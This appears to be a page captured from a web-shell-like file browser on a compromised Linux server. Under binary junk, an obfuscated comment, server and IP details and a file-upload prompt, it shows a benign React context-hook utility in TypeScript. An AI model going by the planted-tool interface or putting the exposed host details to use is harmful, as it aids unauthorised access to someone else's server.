PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home2/medicu/.trash/code-snippets.6/js/utils/
Server: Linux tista.bd.svlogins.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
IP: 103.159.37.114
Choose File :

Url:
Dir : /home2/medicu/.trash/code-snippets.6/js/utils/hooks.ts

import { createContext, useContext } from 'react'
import type { Context } from 'react'

export const createContextHook = <T>(name: string): [
	Context<T | undefined>,
	() => T
] => {
	const contextValue = createContext<T | undefined>(undefined)

	const useContextHook = (): T => {
		const value = useContext(contextValue)

		if (value === undefined) {
			throw Error(`use${name} can only be used within a ${name} context provider.`)
		}

		return value
	}

	return [contextValue, useContextHook]
}